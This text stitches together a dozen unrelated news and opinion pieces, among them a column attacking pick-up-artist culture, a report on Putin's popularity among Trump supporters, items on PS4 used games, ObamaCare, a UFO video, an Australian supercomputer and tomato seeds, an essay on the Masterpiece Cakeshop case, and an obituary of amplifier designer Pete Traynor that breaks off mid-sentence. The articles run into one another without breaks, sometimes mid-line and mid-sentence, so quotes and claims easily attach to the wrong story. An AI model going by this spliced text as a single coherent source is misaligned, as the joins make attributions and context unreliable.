After stories this week about Dapper Laughs, the character created by comedian Daniel O’Reilly, who was a maybe, maybe-not satire of a PUA, and whose show has not been recommissioned by ITV2 after thousands of complaints, and Julien Blanc, a real pick-up artist who was deported from Australia after protests against his seminars, this feels like an opportune moment to turn our attention away from O’Reilly and Blanc themselves, who are ridiculous (Blanc, in particular, looks like the human definition of “douchebag”) and on to their many fans, who shouldn’t be dismissed quite so easily.
For it is easy to dismiss the men who look to Dapper Laughs for pulling advice, or who pay a shade under $3,000 to attend one of Julien Blanc’s “boot camps”. They’re sci-fi saddos; they’re World of Warcraft weirdos. Of course you think that of men who listen to pick-up advice that ranges from “Tell her: ‘Get out your gash,’” (Dapper Laughs) to “Command her: ‘Get down on your knees, call me master and beg me to kiss you’” (Julien Blanc). (You may have noticed an overlap in attitudes towards women from these two chaps.) Even O’Reilly tried to distance himself from his fans when he appeared on Newsnight in an I’m-taking-this-issue-very-seriously black polo neck:
“That type of humour was really popular with a certain demographic,” he mused, solemnly. “I didn’t think so many people would see it.”
Indeed. One audience member with whom it was so popular was O’Reilly’s own father. He tweeted his son that a female writer who criticised him was “to [sic] ugly … to rape”. Can’t choose your family, right, Daniel?
Like O’Reilly, I imagine quite a few people will be surprised by the popularity of Dapper Laughs and the rest of this stable. They shouldn’t be. I would bet my bitch shield that in any office in this country there will be a handful of men who have at least considered using PUA techniques. These are men who resent women for having the free will to turn them down, and they want to manipulate them accordingly. Yet they look like everyday guys. Of course, there are extreme versions, such as Elliott Roger, the 22-year-old who killed six people earlier this year, whose manifesto was a PUA statement book writ large:
‘You girls aren’t attracted to me, but I will punish you for it,” he wrote, which is not very different to the kind of talk you get from PUAs at their seminars.
But he was the extreme end of that wedge. For the most part, men who pay attention to PUAs are just normal looking guys who have an inner rage against female free will. The popularity of PUAs and Dapper Laughs is a backlash against feminism that rapidly becomes one of the more puerile strains of misogyny.
Happily, despite the $3,000 price tags and promises, these techniques don’t work on the vast majority of women. A woman recently posted a conversation she had with Julien Blanc on Tinder, in which he begged her repeatedly for sex:
“I promise I’m normal.”
“:)”
“Please respond.”
“You should be happy I’m acknowledging your existence you whore … Grow a pear [sic] pffft.”
“Please ignore that :).”
“I’m sorry, I’m just very desperate.”
“Why won’t you sleep with me?”
“Is there something wrong with me?”
And, just like that, he answered his own question.From his perch in southern California, Jeff Grimord knows Vladimir Putin is no saint.
A 71-year-old executive recruiter in Newport Beach, Mr Grimord acknowledges the Russian president is often accused of “nasty things”. “Journalists who criticise him are found dead. A little bit of him is still a communist at heart.” Yet despite it all, he cannot help but feel enamoured of the Russian strongman.
“I think he’s the only leader of a large, major country that stands out these days,” Mr Grimord, a supporter of Donald Trump, explained in a recent interview. “He acts like he’s acting in his country’s interest and makes no bones about it.”
Among the many curveballs of the US election, here is one more to add to the list. After years by being pilloried by western leaders, criticised by human rights groups and targeted by sanctions, Vladimir Putin has a small but sizeable fan club in certain corners of the US, particularly among voters who back Donald Trump. Perhaps more improbably, that fan club appears to be growing.
In August, an Economist-YouGov poll found that only 27 per cent of registered Republicans have a negative view of the Russian president, compared with 66 per cent two years ago. Eighty-five per cent of Republicans say they view Mr Putin to be a strong leader, while just 18 per cent of Republicans say the same of Barack Obama.
Among voters backing Mr Trump, the Russian president’s approval ratings are even higher, with one-third of Trump supporters saying they view Mr Putin favourably.
Related article US election poll tracker Which White House candidate is leading in the polls?
The shift in perception comes at a time when Russia-US relations remain at a post-Cold War low, with continued disagreements over Ukraine and Syria. Yet several Trump supporters said those stand-offs had only made them more sympathetic to Mr Putin and his world view — particularly to the extent that the Russian president, both personality and policy-wise, appeared to be a direct foil to Mr Obama.
Most said they had had a positive opinion of Mr Putin even before Mr Trump had begun praising the Russian president’s strong leadership, but found the similarities between the two men comforting.
While most western politicians appeared to be constrained by approval ratings — putting their fingers in the air to see where the wind was blowing — Mr Putin and Mr Trump were not afraid of controversial policies, Mr Grimord said, whether it was announcing plans to build a wall on the US-Mexico border or taking action in Syria or Crimea. “[The west] is trying to make [Putin] out to be a real aggressive S.O.B. but I think he is doing what he perceives to be in the best interest of Russia,” he said.
Frank Hawkins, a small-business owner in the Florida Keys, said he admired Mr Putin’s actions in Syria and the way he had been able to crack down on Muslim extremism in Russia’s restive majority-Muslim republics — something he hoped Mr Trump himself would echo in the US. In Santa Barbara, David McCalmont, a 71-year-old Trump supporter, praised Mr Putin for working the Ukraine conflict to his advantage and asserting Russia’s right over “its sphere of influence” in the former Soviet Union.
While some Republican Party neoconservatives might worry Russia wants to drop a bomb on New York City, he — like Mr Trump — believed that the US government should take a more isolationist approach to certain foreign conflicts and focus on its own national interests — something Mr Putin had done with great success.
“Right now there are a lot of people who are very frustrated and very angry that have been cast aside. They’re looking for someone to come around and be forceful... and have someone at the helm — not like Hitler or Mussolini — but someone who is strong,” Mr McCalmont said.
© AFP
Throughout Mr Trump’s campaign, the Republican nominee has made a softening stance towards Russia a core point of his policy platform, repeatedly claiming that he would get along with Mr Putin and be able to negotiate deals with him.
It is a departure from the Republican Party’s historical stance on Russia. In 2012, Mitt Romney declared Russia to be the United States’ “number one geopolitical foe”, while traditionally the party has cultivated the image of being tougher than the Democrats on Russia, a reputation that dates back to Ronald Reagan and the Cold War.
In Washington, both establishment Republicans and Russia experts have expressed alarm over Mr Trump’s comments. “Of all the damage Trump can do to the American conservative movement, making it pro-Putin rather than pro-freedom could be the most serious,” Bill Kristol, the editor of the conservative Weekly Standard, tweeted.
Related article How Putin is messing with American heads Attempts to sow doubts about the integrity of the US electoral process are already succeeding
Andrew Weiss, an analyst at the Carnegie Endowment for International Peace, said he worried Mr Trump’s comments about the US being a declining power that could be manipulated would encourage Russia to take a bolder stance against the US in the future. “We’re in a really long-term dangerous place with the Russians and the false comfort that Trump is providing them.”
Yet while Mr Trump’s comments have alarmed the Republican mainstream, they have galvanised many of his followers — particularly white nationalists who have long voiced respect for Mr Putin’s aggressive form of nationalism and the type of respect he commands.
Richard Spencer, a self-avowed white nationalist in Montana, said the support for Mr Putin among Trump supporters suggested Republicans might be finally coming around to Mr Putin, both for his nationalist policies and the macho image he represented.
“I usually find conservatives are trapped in the Cold War,” he said of the polling data. “But maybe they’re not.”Sony left a lot of questions unanswered with its PlayStation 4 tease last week. And even for those Sony diehards who've already made up their minds to buy the next-generation gaming console, the biggest question is: Will it play used games?
It's quite telling about the state of the game industry today that this is even a question that would have to be asked. For every prior launch of a videogame console in the history of the industry, it would have been a ridiculous question to ask, on par with "Does it use electricity?" or "Does it have graphics?" It's just assumed: You buy your game cartridge or disc, and when you're done with it, you sell it to someone else. And then there's the flip side of that coin: If you don't want to buy a game new, you can wait to pick up a used copy later.
PlayStation 4 and Microsoft's next Xbox are the first two game console launches for which this remains an open question. Why? For a few reasons: The notion of used games has already disappeared from the PC game market; games sold in boxes on store shelves typically include a one-time-use activation key that locks the game to a single owner. Some even go so far as to require that owner be constantly connected to the internet in order to run the game. Publishers have used this feature during this game console generation, but have only gone so far as to lock certain parts of the game away from used buyers. Some games require a secondhand owner to buy an "online pass" before they can use the game's multiplayer functions; some lock single-player content away, like the infamous Catwoman segments in Batman: Arkham City.
So the writing was on the wall even before the rumors started running rampant that next-generation consoles would go whole hog and lock out used games entirely. When Kotaku reported on the PS4's development codename and lack of backward compatibility, it also reported that it would lock out used games. It reported something similar about the next Xbox, a notion that a Square Enix executive echoed yesterday. Earlier this year, an internet sleuth discovered a Sony patent for a "system that reliably restricts the use of electronic content dealt in the second-hand markets."
And then there's the growing realization that used games, on a long enough timeline, are dead anyway: Once the disc is gone and games are download-only, there's no more resale. So all efforts to keep them around are just delaying the inevitable.
So it shouldn't be too surprising that "Will it play used games?" has been an oft-asked question in the interviews with Sony spokespeople following last week's unveiling.
What is a little surprising is that Sony doesn't seem to have its story straight.
Eurogamer asked Shuhei Yoshida, head of Sony's worldwide game development studios, if used games would function on PS4. At this, Eurogamer reports that he has to turn to the public relations specialist sitting in on the interview and ask what the official answer was. Following a brief consultation, he said, "Used games can play on PS4."
They can? That's a little different than "they will always, without an extra fee." Nonetheless, many outlets reported this as closing the case for good. But then Game Informer wrote to Sony for a follow-up, and an unnamed spokesperson said this: "We are just now announcing the basic vision and strategy of PS4 and will have more information to share regarding used games later this year. But PlayStation has a long history of keeping its gamers happy and we won't make decisions that damage our relationship with them."
Um: More information? If PS4 can play used games, what more information could there possibly be? The only way there would be any more information is if playing used games on a PlayStation 4 is more complicated (or costly) than simply buying a disc and popping it in.
And today we had this, from PlayStation UK managing director Fergal Gara: "Well first of all, we haven’t stated that second-hand games... we haven’t made a statement on the second-hand games question," he told Nowgamer. He noted that Sony often files patents which "may never see any application," then reiterated: "The answer to the pre-owned question isn’t clarified just yet and we’re working through that and we’ll announce our position in more detail as and when we can."
This should, for now, put the brakes on the "PlayStation 4 won't block used games" train. If the question had such a simple answer, why all the dissembling and evasion? Perhaps Sony hasn't actually made a decision yet. It does have plenty of time to work out exactly how it might restrict or otherwise seek to control the sale of used games.
Used games are a particular bugbear for certain game developers. Some of them are sure they're the single reason for the console game industry's downfall: They believe that games would sell far more copies if not for the "endless churn" of copies through GameStop stores. Maybe they're right! Or maybe used games actually boost sales of new games, in units or in dollars or maybe even both, by letting players trade in their old games for money towards new ones. Perhaps if players weren't factoring in resale value in their purchasing decision, they wouldn't spend $60 on a new disc in the first place.
Or maybe both phenomena are happening at once, but the benefits outweigh the costs. Or vice versa. Either way, it's looking more and more likely that the used game market will just be killed off entirely before we ever find out for sure whether it was good or bad or neutral. (Oh, and you also kill videogame rentals, too, if you do that. And lending games to friends.)
As I've written before, around the time the first rumors about the next Xbox started swirling, one likely scenario is that used games will function on next-gen consoles, but the "online pass" system already in place will be extended to cover the entire game. If you have a game disc that's already been used in another person's console, when you put it into your machine, it'll tell you that you need to purchase another license. Maybe it'll let you play the game's first level before you do that.
If you buy the game at GameStop, it's likely that the activation codes will be purchased by GameStop and included in your purchase, printed out on your receipt. This is what it did with that Catwoman content for Arkham City. This will allow GameStop to keep buying and selling used games, it'll just make sure that the publishers and developers get some of the money that used to go to the person who traded the game in.
Again: These systems are already in place and used on a small scale by hardware makers, software publishers and retailers. It's just a matter of flipping the switch. Publishers can make their money, GameStop can make their money, and nobody loses out.
Well. Except you, but you're used to it.President Trump on Sunday urged Senate Republicans to continue to try to overhaul ObamaCare, telling them “the world is watching.”
Trump suggested after the Republican-controlled Senate failed last week in several attempts to repeal and replace ObamaCare that he was OK with allowing the 2010 health care law to collapse as a result of its own problems.
However, he has tweeted several times this weekend to urge Senate Majority Leader Mitch McConnell to again try to pass the legislation, even if he has to lower the vote threshold to a 51-vote majority.
TRUMP THREATENS TO END HEALTH CARE 'BAILOUTS' FOR INSURERS, LAWMAKERS
“Don't give up Republican Senators, the World is watching: Repeal & Replace...and go to 51 votes (nuke option), get Cross State Lines & more,” Trump tweeted.
The Senate has 52 Republicans and 48 Democrats and Independents who vote, or caucus, together. That means McConnell, R-Ky., must have nearly consensus GOP support for any ObamaCare overhaul measure.
The House this spring passed its overhaul plan. But two or three GOP senators continue to vote against the numerous overhaul bills and amendments presented in recent weeks, including a major one that required only 51 votes, not the 60-vote majority.PG&E expands solar power plans Energy
Sunlight bounces off mirrors at BrightSource Energy's solar plant in Israel's Negev Desert on Nov. 11, 2008. Sunlight bounces off mirrors at BrightSource Energy's solar plant in Israel's Negev Desert on Nov. 11, 2008. Photo: Eilon Paz Photo: Eilon Paz Image 1 of / 1 Caption Close PG&E expands solar power plans 1 / 1 Back to Gallery
California's big plans for solar power keep getting bigger.
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make him a free agent, telling TVI: "Now Bruma heads totally out of Sporting. If the case goes through the courts, no problem."
Bruma admits the situation has been far from ideal but he is now looking to the future and is likely to have plenty of options to consider, with Porto understood to be back in the race for his signature.
"I deeply regret the outcome of this matter. I did everything to stay at Sporting and I made it clear to my representatives to try to reach an agreement. But after all this time, Sporting did little for me to renew," he told A Bola.
"I want to avoid any sort of controversy with Sporting and especially with the fans. I am a professional and I will continue my career."
There has been uncertainty for some time over whether Bruma would stay at Sporting and his future was plunged into doubt earlier this week when his agent was quoted as claiming that there had been a kidnapping attempt on the player.Published: Tuesday, May 31, 2016 @ 7:38 PM
Updated: Tuesday, May 31, 2016 @ 7:38 PM
An astrophysicist and a UFO investigator in Ohio have debunked a YouTube video that purports to show an angular object floating as a UFO near Wright-Patterson Air Force Base.
The video, posted by a website called Secureteam 10, went viral this weekend with nearly 800,000 views as of Tuesday afternoon since it was posted Saturday. A narrator claims the video was shot by an unidentified Dayton area couple last week near Wright-Patterson. The video was played on the Fox News Channel and picked by by media outlets from England to Australia this weekend.
Joesph Childers, an astronomy educator at Boonshoft Museum of Discovery in Dayton, wasn’t a true believer of the video.
“Not even myth busters time,” he said in an interview. “It’s garbage.”
Thomas Wertman, a UFO investigator in Cleveland and Ohio state director of the Mutual UFO Network, also doubts the video’s authenticity, and said someone is making money from the advertising each time it’s viewed.
“I don’t know how much. I know it’s more than me because I’m a volunteer,” he said.
The website, which does not reveal its name or address or the original source of the video, did not respond to a request for an interview Tuesday.
A base spokeswoman said Tuesday that Wright-Patterson was not involved in any activities that would contribute to the activity purportedly seen in the video.
Wright-Patterson has long disavowed any connection to UFOs or aliens hidden on base, once home to the former Project Blue Book which investigated more than 12,600 reported UFO sightings between 1947 and 1969 around the world.
In 1985, Wright-Patterson issued a statement that said the Air Force concluded Project Blue Book showed no UFO sighting was a threat to national security, demonstrated technology beyond present-day sciences, and no evidence indicated extraterrestrial vehicles.
“Periodically, it is erroneously stated that the remains of extraterrestrial visitors are or have been stored at Wright-Patterson AFB,” the statement concluded. “There are not now, nor ever have been, any extraterrestrial visitors or equipment on Wright-Patterson Air Force Base.”Raijin is the supercomputer Australian researchers call on to crunch the numbers
Posted
Tucked away inside a modest-looking building at the Australian National University is the most powerful supercomputer in the Southern Hemisphere.
Since 2013 the National Computational Infrastructure (NCI) has been supporting research projects across the country.
Its high-performance computer, Raijin, is able to cope with enormous amounts of data.
"We have over 50 petabytes of research data stored at NCI and a high-performance cloud," NCI spokesperson Lucy Guest said.
"It's for science that's too big or too small, too fast or too slow, too expensive or too dangerous to happen anywhere else in the world."
In digital storage terms, one petabyte is 1,000,000,000,000,000 bytes (one quadrillion bytes or 1,000 terabytes).
The supercomputer is made up of thousands of computers simultaneously sharing the tasks of a project.
"You might want to look at the human genomes, for example," Ms Guest said.
"So you have petabytes of data that you need to sift through to sequence human genomes and it needs to be done quickly.
"Or if you want to map the entire Southern Ocean and look at variables like wind and salt and temperature, you need something really big with a lot of guts behind it."
Raijin supports the work of more than 4,000 researchers including those at the CSIRO, Geoscience Australia and the Bureau of Meteorology.
"Most of the scientists who use the supercomputer will never actually see it," Ms Guest said.
"You submit your job through online code and it bubbles away in the supercomputer and then spits out your results."
Running hot 24 hours a day
Steam billowing from the NCI building is generated by Raijin, which is running at about 95 degrees Celsius.
"Running over 80,000 computer cores 24 hours a day produces a lot of heat," Ms Guest said.
"Raijin runs at 95C and needs constant cooling.
"We use a system called free cooling."
Free cooling uses fans to dissipate the heat produced by the computer through a series of radiators.
"There's a hot aisle where all of the heat from the supercomputer is trapped," Ms Guest said.
"Fans suck out the heat and water collects that heat which is directed to the roof where it escapes as steam."
Ironically, given the amount of climate research processed by Raijin, the NCI uses about the same amount of electricity as a small suburb in Canberra.
"We have banks of batteries that kick in if the power goes down," Ms Guest said.
"And we have two giant diesel generators that then kick in to keep the data alive, so data is never lost."
Topics: computers-and-technology, research-organisations, science-and-technology, research, human-interest, canberra-2600All 4000 packets of blight-resistant tomato have now gone. Thousands of people applied online and if you were one of the lucky few to be successful, you should receive your free packet of seed within the next few days. If, however, you weren’t successful, there’s still time to buy some of the tomatoes on offer. Here’s a quick summary of the four vareties concerned.
Fandango
Blight-tolerant cordon with good flavoured, standard-sized fruits. Can be grown outdoors and under glass.
Lizzano
Compact, blight-tolerant bush variety with a uniform trailing habit and baby, cherry-sized fruits. Perfect for growing in pots on the patio.
Losetto
Blight-resistant bush variety with abundant, cherry-sized fruits. Excellent flavour and good for all types of containers, including hanging baskets.
2016 Experimental Tomato
Outdoor cordon with tasty fruit and exceptional resistance to blight. New for 2016 and as yet unnamed.Spider-Man: Homecoming has quickly become one of Sony Pictures’ most successful movies in its opening weekend — second only behind Spider-Man 3. It’s an impressive feat considering it’s the second reboot of the franchise in the last five years, but that just speaks to how strong Peter Parker, the mythos, and the supporting characters of the franchise are.
One of the main figures in Spider-Man’s life is his caretaker Aunt May, played in the new movie by Marisa Tomei.
But while the comics kept May’s character in the dark for many, many years regarding Parker’s heroic alter ego, Spider-Man: Homecoming reveals his extracurricular activities in a memorable closing scene in which May nearly drops the F-bomb.
“WHAT THE FU-” she says, and the film immediately cuts to the credits backed by the classic sounds of the Ramones. Tomei spoke about filming that scene and the difficulty it posed for the filmmakers.
“I think I said the whole word, and then they had to fine tune and fine tune,” she said in an interview with the Huffington Post.
For being the most teen-oriented Marvel Studios film so far, Spider-Man: Homecoming definitely toed the line in that scene and in another where some of Parker’s classmates play a game of “F, Marry, or Kill.” It’s not unlike Wolverine casually dropping an F-bomb in Hugh Jackman’s cameo appearance in X-Men: First Class.
But Marvel is very family friendly, except in the rare case when a couple of members of the Guardians of the Galaxy go on a killing spree set to the sounds of “Come A Little Bit Closer” by Jay & The Americans.
It’s pretty funny that they decide to push the envelope in this scene, and that Tomei’s take on Aunt May is the one to do it.
Spider-Man: Homecoming is in theaters now.
MORE SPIDER-MAN: HOMECOMING: Could Miles Morales Come To The MCU After Homecoming? / Did Felicia Hardy Make An Appearance In Homecoming? / Sony Releases Amazing Fantasy #15 Homage Poster / Homecoming: All The Rumors Debunked /Homecoming Has Massive Marvel Cinematic Universe Plot Hole
A young Peter Parker/Spider-Man (Tom Holland), who made his sensational debut in Captain America: Civil War, begins to navigate his newfound identity as the web-slinging super hero in Spider-Man: Homecoming. Thrilled by his experience with the Avengers, Peter returns home, where he lives with his Aunt May (Marisa Tomei), under the watchful eye of his new mentor Tony Stark (Robert Downey, Jr.). Peter tries to fall back into his normal daily routine – distracted by thoughts of proving himself to be more than just your friendly neighborhood Spider-Man – but when the Vulture (Michael Keaton) emerges as a new villain, everything that Peter holds most important will be threatened.
The cast includes Tom Holland, Michael Keaton, Zendaya, Donald Glover, JacobBatalon, Laura Harrier, Tony Revolori, Tyne Daly, Bokeem Woodbine, with Marisa Tomei, and Robert Downey Jr. It also includes Jon Favreau, Martin Starr, Kenneth Choi, Michael Mando, Selenis Leyva, Isabella Amara, Jorge Lendeborg, Jr., JJ Totah, and Hannibal Buress.Masterpiece Cakeshop owner Jack Phillips (Reuters photo: Rick Wilking)
The case forces us to ask how far we want anti-discrimination laws to go.
It started with ferries.
Lord Chief Justice Hale considered the question of ferry regulation in De Portibus Maris in 1670. Even if a man owns the land and docks on both sides of a river, and owns a ferry that can be used to take people and cargo between them, he does not have the right to operate a public conveyance without the king’s permission. The king, Lord Hale insisted, has
a right of franchise or privilege, that no man may set up a common ferry for all passengers, without a prescription time out of mind, or a charter from the king. He may make a ferry for his own use or the use of his family, but not for the common use of all the king’s subjects passing that way; because it doth in consequence tend to a common charge, and is become a thing of public interest and use, and every man for his passage pays a toll, which is a common charge, and every ferry ought to be under a public regulation, viz., that it give attendance at due times, keep a boat in due order, and take but reasonable toll; for if he fail in these he is finable. So if one owns the soil and landing-places on both banks of a stream, he cannot use them for the purposes of a public ferry, except upon such terms and conditions as the body politic may from time to time impose; and this because the common good requires that all public ways shall be under the control of the public authorities. This privilege or prerogative of the king, who in this connection only represents and gives another name to the body politic, is not primarily for his profit, but for the protection of the people and the promotion of the general welfare.
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The legal abstraction here is not too far removed from the physical facts of the case: The would-be ferryman may own his boat, and he may own docks on both sides of the river, but he does not own the river itself, which is part of the commons and therefore to be regulated in the common interest, which is what is meant by “general welfare.” Where private property intersects with the public sphere, Lord Hale concluded, “it ceases to be juris privati only,” because it is “affected with a public interest.”
This line of thinking has long been upheld as the common-law basis for regulation of private property and private enterprise in general. Lord Hale’s argument about ferries was over time expanded upon and applied to enterprises that did not rely directly on the king’s waterways or other public property but were instead merely involved in commerce that touched these indirectly: wharves and warehouses, for example, and, in the United States, grain silos, the regulation of which was challenged, unsuccessfully, in the Supreme Court case Munn v. Illinois, in which the Court’s opinion cited and relied heavily upon Lord Hale and his royal ferry licensure. Somewhere along the way, the principle that business transacted on and by means of public property may be regulated for the public good was abstracted beyond recognition, and instead of asking who may use the rivers for commercial purposes and on what terms, the law instead assumed that the movement and storage of goods could be regulated at any point on the theory that they probably crossed a river or were carried down the king’s highway at some time. There was no limitation to this: However many degrees of separation there might have been between a certain subsequent transaction and the king’s interest in maintaining the waterways for public use, the king’s interest was never diminished. Lord Hale didn’t have it quite right: Goods weren’t “affected” with a public interest — they were infected by it, and the infection was and is incurable. Hence the existence of natural commons such as rivers and other navigable waterways, along with such contributions to the general welfare as public roads and waterfront improvements, became a general license for regulation. This is the origin of Senator Warren’s “You didn’t build that!” school of rhetoric.
It is the lack of a limiting principle that has always alarmed critics of Lord Hale’s argument. If a barrel of wine takes on the public interest when it crosses a river and then carries that interest with it, effectively undiminished, everywhere it goes, then the public sphere is effectively infinite, as is the mandate for regulation. In the American context, the king’s command over the commons has been superseded most significantly by the doctrine of “interstate commerce.” Like Hale’s ferry principle, the idea of interstate commerce has proved elastic. One would think that interstate commerce would consist only of those activities that are 1) interstate and 2) commercial, but U.S. law has long made room for regulating activities that might plausibly have some remote effect on interstate commerce. In the infamous case of Wickard v. Filburn, the Court held that Roscoe Filburn, a farmer, was subject to federal regulation of his wheat output, which was limited under New Deal law, even though he was growing wheat for his own use on his own farm rather than trading it across state lines. The central planners of the Roosevelt administration argued that they were pursuing a national interest in managing wheat prices and that Filburn’s farm might have some conceivable effect on them: If he grows his own wheat, he isn’t buying it on the interstate market. The Court agreed, and we still live under that precedent.
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From the regulation of public waterways comes the principle that a man may not grow wheat on his own farm for his own use without the king’s permission: The slope is, in fact, slippery.
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The principle that private property takes on an unalterably public character whenever a chicken crosses the road is central to American civil-rights law — which, contrary to the account sometimes given by our Democrat friends, has a history that does not begin in 1964.
In the course of a dispute over the Civil Rights Act of 1875, Lord Hale and his ferries were back on the minds of the justices of the Supreme Court. Justice John Marshall Harlan argued that the longstanding legal principles supporting the regulation of everything from grain silos to railroads meant that “in every material sense applicable to the Fourteenth Amendment, railroad corporations, keepers of inns, and managers of places of public amusement are agents of the state.” Justice Joseph P. Bradley took a different view, that the constitutional rights in question were limitations on what the state may do, not limitations on what individuals and businesses may do:
Individual invasion of individual rights is not the subject-matter of the [Fourteenth] Amendment. It has a deeper and broader scope. It nullifies and makes void all state legislation, and state action of every kind, which impairs the privileges and immunities of citizens of the United States, or which injures them in life, liberty, or property without due process of law, or which denies to any of them the equal protection of the laws.... It does not invest Congress with power to legislate upon subjects which are within the domain of state legislation; but to provide modes of relief against state legislation, or state action, of the kind referred to. It does not authorize Congress to create a code of municipal law for the regulation of private rights; but to provide modes of redress against the operation of state laws, and the action of state officers, executive or judicial, when these are subversive of the fundamental rights specified in the amendment. Positive rights and privileges are undoubtedly secured by the Fourteenth Amendment; but they are secured by way of prohibition against state laws and state proceedings affecting those rights and privileges.
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Beyond the specific constitutional questions, Justice Bradley was in search of a limiting principle: If the Fourteenth Amendment means that obscure innkeepers and café operators are subject to the same constitutional burdens as, say, the government of Alabama, then “it is difficult to see where it is to stop.” Justice Bradley prevailed, and Justice Harlan was the lone dissenter. In the debate over the Civil Rights Act of 1964, the arguments were in many ways the same. Senator Goldwater, whose long and distinguished record as a champion of civil rights has been strangely forgotten, believed that the “public accommodations” language in the proposed civil-rights legislation — provisions that would put into effect Justice Harlan’s conception of private businesses as effective “agents of the state” —was undesirable and unconstitutional, a perversion of Congress’s power to regulate interstate commerce.
The rhetoric of the time was often heated and at times indefensible. But no one, not the most wild-eyed critic of the principles underlying the civil-rights legislation of the 1960s, ever suggested that, if such laws were passed, they would lead to obscure Christian bakers’ being forced at the point of government bayonets to produce cakes for the celebration of homosexual weddings. (I write “principles” because the Masterpiece case is a challenge to a Colorado statute, not to the Civil Rights Act of 1964.) The slope is, in fact, slippery.
We ought to think a little about how far down the slope we want to go.
We ought to think a little about how far down the slope we want to go. Americans look instinctively to our Constitution and to our national political principles for guidance, and our attitude toward them is the civic version of sola scriptura. We tend to generalize when we ought to specify and sometimes to specify when we ought to generalize. The social and political condition of African Americans in the 1960s was indefensible and incompatible with our national ideals. Something needed to be done, and something was, imperfectly. But our generalizing from that has not always been intelligent or prudent or constructive. Jews often were treated shabbily in our country, and sometimes still are, but the case against Princeton’s numerus clausus system of discriminating against Jewish applicants was not the same as the case against Mississippi’s suppression of African Americans. The situation of gay Americans in 2017 is not very much like that of black Americans in 1935.
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It is not the case that discrimination is discrimination is discrimination. Telling a black man that he may not work in your bank because he is black is in reality a very different thing from telling a gay couple that you’d be happy to sell them cupcakes or cookies or pecan pies but you do not bake cakes for same-sex weddings — however much the principle of the thing may seem superficially similar. If the public sphere is infinite, then the private sphere does not exist, and neither does private life. Having a bakery with doors open to the public does not make your business, contra Justice Harlan, an agent of the state. A bakery is not the Commerce Department or the local public high school.
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Sure, bakery customers may travel there on public roads. But tell me: Isn’t that EPA-regulated air you’re breathing?
READ MORE:
’Masterpiece Cakeshop’ is a Fight for the First Amendment, Not against Gay Marriage
Can the State Force Us to Agree with Its Views?
The Continuing Threat to Religious Liberty
— Kevin D. Williamson is National Review’s roving correspondent.There’s a fair chance you’ve never heard of Pete Traynor. But if you live in Toronto, you’ve probably heard his work, in a way. He was a walking piece of local rock and roll history, whose personal and professional story includes cameos by Bo Diddley, Robbie Robertson, John Lennon, Steve Miller and even the guitarists for Lady Gaga and Prince.
Pete Traynor in 1997, when he was feted at Song Bird Music for his contributions to the local and international music scene. ( Jeff Beardall for the Star ) Pete Traynor with his wife, Susan, in 2010. Dave Monks of Tokyo Police Club shows off his Traynor bass head amplifier in 2011. Traynor-designed equipment was a big part of a legendary concert at Varsity Stadium on Sept. 14, 1969. ( Boris Spremo / TORONTO STAR )
He played bass at the dawn of rock music in the 1950s, gigging three or four times a night in a city starved for working musicians, but it was as a designer of amplifiers and live music equipment that he had the most influence. As Christopher Hume wrote for the Star in 1997, “The sound of Toronto rock was the sound of Traynor equipment.” Traynor died over the weekend at the age of 75, found dead at his home near Lake Simcoe by a neighbour, according to his nephew, Neil Traynor. The cause of death is still being determined and funeral arrangements are not yet set. As the news spread Monday, tributes started coming in from musicians on Twitter and Facebook and Instagram. Most Canadian rockers have or had a piece of gear with his name on it, and many shared photos showing the proof.
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“It means so much to me, and to the whole family, to know that he meant so much to so many people,” Neil Traynor said. A musician himself, he says the advice, help and 1968 Les Paul Goldtop that Pete gave him for his 19th birthday are emblematic of the influence he had on musicians. Pete Traynor dropped out of high school at 16 to earn a living as a musician, and played early on in bands with future stars Ronnie “The Hawk” Hawkins and Robbie Robertson (later of The Band). Back then, amplifiers were testy things that often blew out, and Traynor, son of an engineer, learned to repair and upgrade his own, often with broadcast and cinema-sound parts, so it would play longer and louder and better. His own customized amp was so powerful, a story he told goes, that at one gig Bo Diddley challenged him to a “my-amp-is-bigger-than-yours” contest, and Traynor shattered all of the walls of the Edison Hotel’s mirrored rock ’n’ roll room. He got hired as the repair man by Jack Long at Long & McQuade’s original store at Yonge and Yorkville. “He was, on top of everything else, the best amplifier repair man there ever was,” Long says of the “free spirit” customer he hired in a time of need. Back then — as now — Long & McQuade was the place local musicians could go to buy or affordably rent sound equipment. It wasn’t long before Traynor and Long figured out what kind of gear people needed that wasn’t available. So Traynor started designing it himself, and the two men founded a company called Yorkville Sound to manufacture it.
“He was a brilliant guy in some ways,” Long says. “He had an uncanny ability to tell what kind of equipment people would need five years in the future, and to build it. Sometimes we could take advantage of its popularity, sometimes not; we were just a small outfit.” A history of the company published in the 1990s claims several “firsts” for Traynor. In the early 1960s, there was no such thing as a portable PA system. So Traynor invented “sound column” speakers that could do the job for a friend’s band — and soon they became a standard piece of equipment around the world. Later, the history says, he’d invented wedge-angled monitor speakers, stand-mounted portable speakers, and a number of things too technically detailed for me to really understand.
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He became somewhat famous for the crash tests he performed — throwing his amps off the second storey of the building, then replacing the glass tubes and seeing if they’d still work. If they passed the test, he put them into production, confident they could handle the abuse of a rock show. Through the Long & McQuade connection, Traynor’s amps — and his repair and sound technician work — made him a household name among local musicians. But he also worked with and for celebrities passing through. He provided all the equipment for the massive show John Lennon and Eric Clapton played at Varsity Stadium in 1969. (Traynor told stories of Lennon asking him for a microphone cable long enough to stretch to the dressing room for a gimmick involving Yoko Ono). A guitar amp he built that would play to maximum volume with no distortion was a flop with rock musicians who liked the fuzzy noise, but a favourite of the Doobie Brothers’ Jeff Baxter. He cut a Hammond organ in half to make it portable for Ray Harrison of Del Shannon. The company history says it’s “rumoured” that Elvis custom-ordered a bunch of equipment for the opening of his Las Vegas run. Nephew Neil recalls stories of Pete working with The Who, smoking up with Jimi Hendrix, and Clapton, and even Leonard Nimoy. And one time Steve Miller (or a member of his entourage) locked him in a truck in rage after the amps he provided for a show blew out (because a tech had used the wrong fuses, it turned out). That episode led to the end of his sound-tech-for-hire business. He retired with a bad back in 1976, but the company he founded is still a Canadian music mainstay. Yorkville phased out the Traynor brand after he left, but revived it for its amplifiers in 2000, in response to ongoing demand for the vintage Traynor products musicians still swore by. Among those giving endorsements on the company’s website is are Ricky Tillo, Lady Gaga’s touring guitarist, and Prince’s touring band guitarist Donna Grantis. And then there’s this, from Milos Angelov of Dave Matthews’ Band: “These amps should come with a box of tissues because the first 10 rows always get a nosebleed.” Those tissues would come in handy for a different reason now. Traynor’s legacy will live on in music circles. He’s beloved by those who knew him as a mentor and trouble-shooter. But he’s one of those people, too, whose influence is invisibly ubiquitous — if you’ve played in a local band, or rented a PA 